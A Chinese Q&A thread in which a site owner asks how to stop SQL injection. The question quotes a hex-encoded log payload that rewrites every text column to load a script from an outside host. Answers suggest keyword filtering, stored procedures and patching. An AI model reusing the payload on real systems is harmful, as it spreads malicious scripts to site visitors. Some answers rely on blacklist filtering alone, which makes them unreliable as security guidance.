最近网站常常受到SQL注入攻击,请高手帮忙

来源:百度知道 编辑:UC知道 时间:2024/09/25 05:35:32
我用c# +sql 2000 开发的网站.
查看网站日志的时候 发现有
readdetail.aspx id=25388;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b2727223e3c736372697074207372633d687474703a2f2f383838392e73732e6c613e3c2f7363726970743e272727294645544348204e4558542046524f4d205461626c655f437

你限制了id长度是在什么地方限制的?如果在客户端限制,是没有用的
、应该在HasKeywords函数里面在检查一下,

另外一正则过滤只能过滤未经编码的注入,以上注入显然经过编码,注入的语句已经不是字母了 都变成了数字,过滤自然失效

次注入中 使用的sql 的declare 命令 你可以在你的正则表达式中 将declare 过滤掉
另外 id里面不可能包含 %20(翻译过来就是空格) 所以也可以在正则中过滤掉 %20

你查看的只是一个日志,而这个日志怎么用呢?
你可以自己测试一下,正常访问一个连接时,出现的情况是什么。用日志里面的连接访问一下又是什么,结合你的程序,看看用日志里面的连接访问,是不是你已经完全排除掉了。
如果最近日志里面的文件链接访问都没什么特别的话,那你可以考虑一下是不是服务器(系统和sql)没有打补丁。如果确认都已经打上补丁的话,那你可以这样来做。
1:先看看服务器上有没有木马,包括你的网站程序(这个一般来说是在允许上传文件的文件夹下,简单的操作就是用杀毒软件扫描一下即可,但是如果是加密过的exe木马的话,杀毒软件可能会不起作用,但是网站木马一般来说是可以去除掉的)。
2:你程序里面的查询语句是否也过滤了呢(包括form表单的过滤。)?
3:如果有条件的话,最好找个测试员来测试一下。

十六进制注入,是针对sql server的dEcLaRe @s 过滤掉

还有最重要的 你这只是过滤了get , post没过滤,网上找找解决方案吧,很多的

存储过程里多用静态SQL语句就行了,动态语句容易早成注入。

将数据库的访问方式改为存储过程,专门做一个验证的层,访问数据库先经过过滤层在访问

用存储过程啊!